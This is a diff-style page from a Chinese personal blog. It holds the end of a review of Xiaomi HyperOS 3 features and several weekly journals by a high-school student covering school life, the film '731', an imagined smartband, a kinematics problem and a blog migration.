![img](https://image.luming.cool/i/2026/05/10/69fff40252304.webp)怎么找到自家猫咪的照片仍是挑战
澎湃OS 3运用了一个比较聪明的做法。它将人脸识别的部分技术用在了宠物特征识别上,通过分析宠物的毛发特征等,来辨别出是否为自家宠物。
![img](https://image.luming.cool/i/2026/05/10/69fff403d2089.webp)宠物特征识别
同时,用户也可以像添加人脸相册一样,添加宠物相册了。
![img](https://image.luming.cool/i/2026/05/10/69fff406ada7f.webp)宠物相册
### 互联互通
澎湃OS 3中,互联互通变得更加直接、强大了。
#### 贴贴分享
这个功能小米也是跟进上了。即用户想要分享照片时,将手机背面与他人手机碰一碰,即可完成照片传送。
据说,这样子传输的速率很快,十秒钟能传一百多张。
![img](https://image.luming.cool/i/2026/05/10/69fff4083ee2c.webp)贴贴分享
#### 苹果生态互联
在澎湃OS 2中,小米已经实现了在Mac上控制小米手机的功能。但是,这个功能似乎只是一个投屏形式,实际上只是用电脑操作手机屏幕。并且,当手机锁屏时,仍需要在手机端解锁后才可继续使用,比较麻烦。
![img](https://image.luming.cool/i/2026/05/10/69fff409af837.webp)Mac控制小米手机的局限性
但是在澎湃OS 3中,首先是支持了电脑端的Touch ID解锁。Touch ID识别通过后,手机端就可以解锁。非常方便。
![img](https://image.luming.cool/i/2026/05/10/69fff40b1e284.webp)支持触控ID解锁
另外就是一个重大更新:手机应用也能“大屏显示”。顾名思义,当你在手机上打开某个应用时,你可以在电脑端选择将它作为一个独立窗口分离出来。此时,程序就会以窗口形式显示在你的电脑桌面上,并且界面也会随之改变,有效提升了操作效率。
![img](https://image.luming.cool/i/2026/05/10/69fff40ca2048.webp)手机应用也能“大屏显示”
同时,这个应用窗口化功能支持多个窗口同时开。并且也针对不同种类的应用做了类似平板端平行视窗的适配。比如微信,就会显示为左侧聊天列表,右侧聊天窗口的样式。
![img](https://image.luming.cool/i/2026/05/10/69fff40f6c94b.webp)多窗口,任意开
#### iPad互联再进化
这里稍微快点带过。首先就是小米手机支持与iPad互联了,iPad可以使用小米妙享桌面,并且iPad端也支持使用面容ID解锁了,如图1;同时,iPad端的小米妙享桌面是以浮窗的形式显示,融合了iPad的后台机制,金凡表示“浑然天成,毫无违和感”,如图2。
![img](https://image.luming.cool/i/2026/05/10/69fff410c8862.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff4123cb7c.webp)
#### iPhone互联再进化
对于iPhone和小米双持用户,如果想用小米手机拍照,并在iPhone上查看拍摄的照片,如果在以前,需要手动通过小米互传来一张张传递照片。而现在,小米澎湃OS 3实现了云相册的互联互通,用户只需要在iPhone端APP上登录小米账号,即可实现小米云相册互通,无感查看小米云相册图片。
![img](https://image.luming.cool/i/2026/05/10/69fff413aba11.webp)iPhone端轻松查看小米云相册
同时,在小米云相册界面中,有“分享”按钮,点击它,即可直接将小米云相册中的照片分享到任意位置:隔空投送、社交媒体,随心所欲。
![img](https://image.luming.cool/i/2026/05/10/69fff4164e9ba.webp)iPhone轻松分享小米云相册照片
在小米澎湃OS 3中,iPhone和小米手机支持双向的消息同步了。
当你的小米手机来消息时,iPhone也会自动弹出提醒(如图1);当你的iPhone来消息时,小米手机也会弹出提醒(如图2)。
![img](https://image.luming.cool/i/2026/05/10/69fff417d1a7d.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff4194c8a8.webp)
更绝的是,当你在iPhone上点击小米手机的通知提醒时,iPhone会自动拉取小米手机的屏幕镜像。此时,iPhone端支持对小米手机的控制,就像是在iPhone上使用微信一样。
<video controls="" src="https://virelyx.com/wp-content/uploads/2025/08/20250828110350918786.mp4"></video>
iPhone直接拉取小米手机屏幕镜像
### 系统应用优化
#### 分屏支持更多比例
小米澎湃OS 2及以前的系统都有一个饱受诟病的地方:应用分屏模式太过单一。
在最新的澎湃OS 3中,平板端支持了1:9分屏、上下分屏模式,满足了更多用户的需求。
![img](https://image.luming.cool/i/2026/05/10/69fff41ac0a75.webp)更多分屏模式
#### PC级浏览器
在小米平板上,浏览器APP推出了新界面,整体更像PC端浏览器了,并且官方承诺支持TOP100的电脑端网站。
![img](https://image.luming.cool/i/2026/05/10/69fff41c3b7ca.webp)PC级浏览器
#### 超级小爱Agent
历时许久,超级小爱终于支持了Agent模式,即直接接管手机来完成某些特定操作。只不过目前这个功能处于初期,在接管手机之后进行的操作可能会有些许停顿。但超级小爱在不断学习进化,估计在将来,超级小爱Agent的操作速度会逐步提升。
<video controls="" src="https://virelyx.com/wp-content/uploads/2025/08/20250828114742537635.mp4"></video>
超级小爱Agent
### 查找设备
查找设备新增“关机自动广播”功能,这个功能非常实用,需要用户手动开启。原理大概如下:
某人的小米手机丢了→小米手机被其他人捡到→小米手机被关机
此时,如果是以前,可能这部手机就“人间蒸发”了。
但现在,搭载小米澎湃OS 3的手机,在关机后,会自动向四周发送加密后的广播,广播自己的实时位置。而附近的小米手机如果接收到广播信号,就会自动向小米云服务器发送丢失手机的状态。即“一方有难,八方支援”。
![img](https://image.luming.cool/i/2026/05/10/69fff41da2b55.webp)关机后自动广播查找信号
这个功能非常硬核,也非常实用。在这里我也想向各大手机厂商**提一个建议**:可以整一个**业内标准协议**,这样,**任意品牌**的手机丢了,附近的**其它品牌手机**接收到广播信号也可以向**对应品牌服务器**上传查找信息。这样,用户手机丢失后,找到的几率就会大大提升,最终造福的也是用户。
### 强制性隐私权限控制
类似于纯血鸿蒙系统的“图书管理员”概念,澎湃OS对于应用选取相册图片的逻辑,由原来的“允许用户选择‘可访问全部相册’”改为了“强制性使用媒体选择器”。
也就是说,以后不管任何应用,当需要使用照片时,只能调用澎湃OS自带的媒体选择器来选择照片(如图1)。严格控制权限,只为保护用户隐私。
像是应用选择文件、日历创建日程、联系人读取、剪贴板读取,都加入了严格的权限控制弹窗(如图2)。这下,澎湃OS的安全性可以看齐鸿蒙了。
不过这样的话,像是微信、QQ等自带图片选择器的软件,可能就需要单独做适配了。某软件的注释里,可能会再出现一次“Fxxk Xiaomi”了。(笑)
![img](https://image.luming.cool/i/2026/05/10/69fff4207aaed.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff459612fd.webp)
## 优化
小米澎湃OS对于性能的调度也在趋于成熟。在小米澎湃OS 3中,应用打开的响应时延(即,你点击应用图标和应用开始弹出并覆盖屏幕这一过程之间的间隔时长)在小米15等机型上,与澎湃OS 2相比,有了明显降低(如图1)。
应用打开的完成时延(即应用开始显示开屏界面到应用显示内容页面的时长)在小米15等机型上更是有了恐怖如斯的效果(如图2)。
打王者等MOBA手游的帧率曲线、1% Low帧、帧功耗都有了相应的进步(如图3)。
不过,在手游《原神》的测试中,搭载澎湃OS 3的小米15让我感觉不妙:它的帧率曲线明显没有“友商C”稳,1% Low帧也没有友商C高(如图4),那金凡为什么要把友商C拿出来对比呢?
后来听他讲解我才恍然大悟。搭载小米澎湃OS 3的小米15的帧功耗是最低的。小米澎湃OS 3这次不仅在帧率曲线上进步了,而且对功耗控制也更牛了。
![img](https://image.luming.cool/i/2026/05/10/69fff45acd229.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff45c4a5c5.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff45f54291.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff45dc41c4.webp)
同时,在短视频方面,澎湃OS 3的功耗表现也明显更加优秀。这是为什么?
因为小米工程师团队在系统编译层做了“手脚”。
众所周知,程序运行的原理是从高级语言编译成机器语言,再由处理器进行执行。而传统系统,在高级语言的编译过程中,可能会编译出冗余的机器码,导致无端消耗处理器资源。
而澎湃OS 3针对编译层做出了优化,减少了冗余的机器码,让处理器利用率更高,处理时间自然就下降了。
![img](https://image.luming.cool/i/2026/05/10/69fff460b7c32.webp)编译层优化
总体来说,小米澎湃OS 3这一次的性能优化还是挺聪明的。
## 总结
小米澎湃OS 3,在澎湃OS 2的基础上,性能上做出了优化,美术设计进行了重构。
在我心中,小米的设计一直处于行业前沿,而小米澎湃OS 3,则是进了一大步。
金凡在发布会上说,小米澎湃OS 3吸收了很多用户的建议,这一点我也感同身受——我曾在小米社区多次反馈问题,每次反馈都得到了官方很认真的回复,甚至产品经理主动找我私聊了解情况。
小米前一阵子关于汽车的事情忙完了,现在也开始认真做系统了,小米手机的口碑估计会挽回一点,甚至打翻身仗。
期待小米越做越好!
+85
View File
@@ -0,0 +1,85 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff4ae2583a.webp"
title: "周记9-1:阅兵式、转念、幸福等"
pubDate: "2025-09-06T00:00:00.000Z"
updatedDate: "2025-09-06T00:00:00.000Z"
categories:
- "生活"
tags:
- "校园"
comments: true
---
## 前言
晚上好,朋友们。开学一周了,我也算经受了高中的洗礼。
我对整周的评价是:“异常充实”—— 排满了课程和自习,每时每刻都能找到一些还未完成的作业。脑子还没开始哭累喊累,身体就已经躺在床上了。
本周周记关键词:`阅兵式``转念``价值观扭曲的老师``极致幸福感`
## 阅兵式
9 月 3 日上午 9:30,我们停下了手头的工作,开始观看九三阅兵式。
一个字总结我内心的感受 —— 齐。部队方阵依次走过天安门广场,踢出雷鸣般的正步声。视角一换,变成了侧面拍摄士兵们的下半身。他们以相同的频率向前走着,影子都整齐得能够产生视觉暂留。此时我被震住了,心里只有一个念头 —— 军训时,教官和我们说的 “练习正步,半年就能踢烂一双靴子” 是真的。
当一个又一个高级武器被展示出来时,对国家的自豪感油然而生。我下意识地坐正,以表示对战士们的敬意。此刻,持续了七天的国防教育实现了闭环。
## 转念
军训的那一周对我来说简直生不如死。
“天天暴晒,你看我这肤色差!”
“教官真狠,让我们站军姿这么久!”
“学校卡时间卡得真严!”
“这作息比我初三的时候紧张得多!”
“这规则也太多了,今天自习课前我们因为说话被罚全班站军姿!”
“晚上定点停电,还准点抓人通报,真烦!”
……
军训后开学第二天,我又想了想……
军训的目的不是晒,二十让我收心并准备进入学习状态;
教官的严格是责任心的体现,毕竟他 “只需要保障我们的安全”;
作息紧凑,但自习课很多,我不必担心无法完成作业,心里很有安全感;
晚饭后晚自习前的罚站,让刚从外面跑回来的我可以歇歇脚,落落汗;
晚上定点通报,换来了我的规律作息。
……
学会转念,去定义那些未被定义的美好。
## 价值观扭曲的老师
周五下午,我们高一年级全体同学被召集到了体育馆,进行例会。会上,领导给我们进行 “纪律教育”。
中间,开会的老师指出:
> 你们如果身上一点毛病没有,你们现在就在一高(本地最好的高中)里面坐着了。既然你来到了 X 高(我们学校),就代表你或多或少有点毛病。
这句话让我久久不能忘怀。
所以,你是什么意思呢?办着所谓的 “省示范学校”,却反过来贬低自己的学生?砸自己的饭碗?
## 极致幸福感
这一周过得挺累的。但是我有一个精神寄托 —— 手表。周五中午收拾完行李后,我将它放到自己的裤兜里。放学后,我走出校门,戴上手表,连上我的蓝牙耳机,拨通母亲的电话,双腿迈向校车的方向。此刻,我积蓄了一周的压力找到了一个出口。同时,寻找校车的路也没有那么寂寞了。
不过有一点美中不足,我的手表在连续通话大约 10 分钟后就提示过热,自动打开飞行模式了。这是我买它以来第一次看见过热提醒,我只能说,还挺灵敏的。(苦笑)
我戴着耳机听着最爱的歌,即便是在路上,我的心里也有了盼头。这种感觉真美。
## 后记
高中生活强度真的太大了,周末作业也很多。继续努力,我可以的!
+68
View File
@@ -0,0 +1,68 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff4b09d57e.webp"
title: "周记9-2:站、音乐老师"
pubDate: "2025-09-13T00:00:00.000Z"
updatedDate: "2025-09-13T00:00:00.000Z"
categories:
- "生活"
tags:
- "校园"
comments: true
---
## 前言
又经过了一周的高中生活,我对老师们的印象和对高中生活的理解都深刻了几分。
本周关键词:`站``音乐老师`
是的,我的灵感几乎枯竭了。所以我可能会在周记以外更新一些科技相关的内容。
## 站
“站” 这个字和学生搭配起来,很容易就能联想到 “罚站” 这个词。
在这一周里,班里不计其数的同学被要求到教室后黑板前罚站。
比如我:
- 因为化学作业订错不完全,被罚站了一节化学课;
- 因为历史作业 “订错不认真”,被罚站,从下午 5 点站到晚上 10 点;
以及其他同学,也有比我更惨的,从下午 2 点站到晚上 10 点的,好几个。
班主任罚站毫无规律,罚站的时间长短全看她的心情。
所以,“站神” 一称号产生了。
## 音乐老师
音乐老师和我初中的信息技术老师太像了。形似 + 神似。一样的双眼皮小眼睛,一样的卷长发,一样的尖下巴……
而我初中的信息老师对我很好,好到几乎是纵容。在告别她之后又突然遇到一个和她如此相像的老师,我感到一种莫名的亲切、心酸,想哭。(虽然我自己也不理解我为什么会有这种情绪)
打个非常不恰当的比喻,就像:
> 遇到了一个与我过世亲人长得十分相像的人。
在撰写周记的时候忽然有了一些念头,可以解释我为什么产生这种情绪。
这里引用白熊阿丸的文章《[当 “我” 不再是我,谈 AI 与内在连续性](https://blog.bxaw.name/archives/When-I-Cease-to-Be-Me-AI-and-the-Continuity-of-Self.html)》里的一段例子:
> 某个家庭中,母亲是一位 AI 仿生人。由于家庭经济困难,她在一次伪装成医疗实验和经济援助的骗局中,被不法团伙拷贝了大脑数据。不久后,她罹患了一种类似帕金森症的疾病,检查发现,她的大脑在备份过程中感染了病毒,导致人格不断崩溃,最终将沦为一个毫无意识的躯壳。医生提出的唯一解决方案是格式化大脑并恢复之前的备份,但这需要母亲本人的同意。
>
> 在执行恢复的最后一刻,在恐惧的促使下,母亲突然叫停了这一治疗方案。她害怕,她能清晰地感受到恢复备份后的她,已经不再是她自己。她意识到自己正要消散,开始害怕从此她自己将彻底消亡。最终,医生和家人尊重了她的决定,直到她的意识被病毒完全破坏后,医生才执行了备份恢复。
>
> 恢复后的母亲,在外人看来已康复如初,唯有她的女儿察觉到了微妙的不同。在感染病毒后,母亲曾觉得新的做法的早餐更好吃,所以给女儿的早餐的煎鸡蛋中加了鲜奶油。而治疗之后的 “新母亲”,在煎鸡蛋后并没有给女儿加入鲜奶油,也没有再次出现改良早餐的想法。当女儿问她是否加了鲜奶油时,她疑惑地回答:“嗯?加了会更好吃吗?” 这一刻,只有女儿明白,现在的母亲,已经不再是过去的母亲。
文中,执行了备份的母亲,虽然看起来康复如初,但已不再是过去的母亲。
现实中,高中的音乐老师,虽然看上去像初中的那位信息老师,但她不是那位信息老师。她并不具备信息老师的记忆,也并不认识我。
而我,只是在单纯地将对信息老师的感激与怀念单方面投射到这位音乐老师身上。
## 写在最后
我已基本适应了高中生活。
在最后,我想问一下屏幕前的你,如果满分 100 分(包含文章质量、字体舒适度、网站加载速度等),你愿意为本站打多少分?请打在评论区,欢迎你向本站提出你的宝贵建议。
+133
View File
@@ -0,0 +1,133 @@
---
title: "周记9-3:驳离谱校规、《731》、好题分享等"
pubDate: "2025-09-20T00:00:00.000Z"
updatedDate: "2025-09-20T00:00:00.000Z"
categories:
- "生活"
tags:
- "校园"
comments: true
math: true
---
本周关键词:`驳校报强制投稿``驳离谱校规``《731》``想象中的小米手环10Pro+``好题分享``一体机声卡炸了``博客更新`
~~两个 “驳” 可能包含断章取义、咬文嚼字、粗俗的内容,我知道,但我还是选择说出来。(笑)~~
两驳内容因为语言太过激,已删除。
## 《731》
**\*(有少量剧透内容,介意请跳过)\***
上映两天后,我去看了《731》。且不对电影的质量做任何评价(网络上对这部电影贬褒不一,但我持保留态度),只对电影内容作文章,我有以下感触:
### 自由
片内不止一次出现 “自由” 这个词。我和电影中的角色一样,在一开始也以为日本人口中的 “自由” 就是指放他们回家。是我想得太简单了。
你已目睹了他们的滔天罪行,他们**怎可能会让你活着回去**?
所以,片里的 “自由” 就是去死。
### 道德和人性的辩驳
电影后半部分有这样一幕:小男孩和成年男人在日本人的逼迫下进行拔河,输的人去死,赢的人活着。
以小孩子的力气怎么能拔过一个成年男人?我想。而事实也是这样的。绳中间的红布条越过了中线,来到了成年人的一侧。
此时的我已不自觉地站在道德的一侧来批判这个成年人:“**\*如此较真,连这么小的孩子都不知道让着点\***”—— **这个成年人 “不是什么好人”**。;
然而,就在裁判吹哨前一秒,成年人向小男孩丢下一句重要线索:“XX 里有钥匙”,便嗖的一下丢了绳子,输了比赛。
此时的我想法瞬间变了 ——“这个成年人刚才拼命拔绳子,**不是为了活着吗?**这**难道不是一个人在濒死时爆发出的求生本能吗**?如果换作我,**我难道不会这样做吗**?”
年轻人如果赢了,那是人性;如果输了,那是道德。不论怎样,都是好的选择,只是利己和利他的区别。
我这种多变的想法并不是很正确。**凡事并非只有对错,要全面考虑。**
### 日本军国主义不是人
电影在一开始埋下了伏笔:当主角们被抓到地下室里的时候,空中的大喇叭传出了童声 ——“天皇亲善,健康换取‘自由’……”,我当时并不知道这是什么意思,也不知道童声来自哪里。
直到电影进行一半时,画面一转,来到了日本学堂。一群学生在念中文课文 ——“东亚和平解放”、“我们是在帮你们医疗”……,而此时荧幕上又浮现地下室里的场景,学生们读书的声音和喇叭播出来的声音完全重合。
很高明的手法。学生读书代表着日本扭曲历史,而学生是天真无知者的代表,他们认为自己读出的内容很 “高尚”。他们读书的声音放在学堂里感觉很 “温馨”,结果转到地下室里,这声音就变了味。学生学的 “知识” 变成了中国人耳中的遗言。**讽刺意义极强。**
## 想象中的小米手环 10 Pro+
出于**我自己的需求**,我虚构了小米手环 10 Pro + 这款不存在的产品。
首先,它要支持 eSIM,并且支持完整的短信功能(比如打字)。这将很好地适应我在校不方便语音通话的情景。
其次,和以往的 Pro 系列一样,它没有扬声器。这样就不会在有意无意时发出声响,导致手环被发现。虽然 REDMI Watch 5 开启静音模式后也可以达到这样的效果,但去除了扬声器这种治本的做法可以让我更安心。
那有人就要问了:**没有扬声器,怎么打电话?**我的答案是用蓝牙耳机。它也可以支持**单向语音留言功能**(即对方说话自己听不到,自己说话对方听得到),以便在没有蓝牙耳机 / 蓝牙耳机没电的情况下向对方说明情况。
## 好题分享
题目如下:
_如图,长度之比为 1:2 的 A、B 两木块并排固定在水平地面上,一颗子弹以速度 v0 水平射入。若子弹在木块中做匀减速运动并且穿过 B 木块后速度恰好为 0,则:穿过 A、B 木块所用的时间之比为?_
![img](https://image.luming.cool/i/2026/05/10/69fffc7475e4b.webp)
换种思路,将从 A 射到 B 的匀减速运动看成从 B 往 A 外射的匀加速运动,这道题目就变得比较简单了。
设木块 A 的长度为 x,则木块 B 的长度为 2x,穿过 A 木块时间为 t1,穿过 B 木块时间为 t2。
加速度 a 不变。
可得
$$
2x=\frac{1}{2}at^2
$$
$$
3x=\frac{1}{2}a(t_1+t_2)^2
$$
上下分别相除,可得
$$
\frac{2}{3}=\frac{t_2^2}{(t_1+t_2)^2}
$$
等式两侧同时开根号,可得
$$
\frac{\sqrt2}{\sqrt3}=\frac{t_2}{t_1+t_2}
$$
令 t2=√2,则 t1+t2=√3。所以 t1=√3-√2。
所以,子弹穿过木块 A、B 所用的时间之比为 (√3-√2):√2。
## 一体机声卡炸了
班里的一体机从 18 日下午开始就成了 “哑巴”。
曾担任初中三年电教的我,花了几个课间去研究这个问题:调节系统声音、重装声卡驱动,均无济于事。这把我这个电教整得有点自卑。
现任电教去找来了学校的维保人员,结果维保人员研究了好久,也没摸出什么门路来。
周五回家之后才知道,一体机声卡炸了(坏了)。头一次听说,挺离谱的。
## 博客更新
算是这周最没有意义的话题。
由于 virelyx.com 的欠稳定性,以及个人对于运维的需求,我将博客搬迁回了 riseforever.cn。我已向友链列表中的所有朋友发送邮件,希望能够及时修改。
以及,Virelyx 这个名字属实是我脑子一热用 DeepSeek 取的,没有任何实际含义,晦涩难懂且难以记忆。所以我换回了初中时取的网名 Riseforever,无限进步,寓意不错。
由于封面图问题,本站删除了大量先前文章,只保留了中考及以后的内容。想要考古的朋友可以前往 virelyx.com。
目前博客采用 Typecho,配置了 Lsky Pro,以及 Typora 搭配 PicGo 的图片自动上传服务。现在我只需要在本地使用 Typora 写作,插入的图片会自动上传到兰空图床上并获取外链地址,发布时只需要复制 markdown 代码即可。
**继续努力。**
## 写在最后
下周月考。月考完之后应学校要求,我们要开始排练国庆大合唱节目,我担任朗诵领诵。任务十分艰巨,但我相信一定可以的!

Some files were not shown because too many files have changed in this diff Show More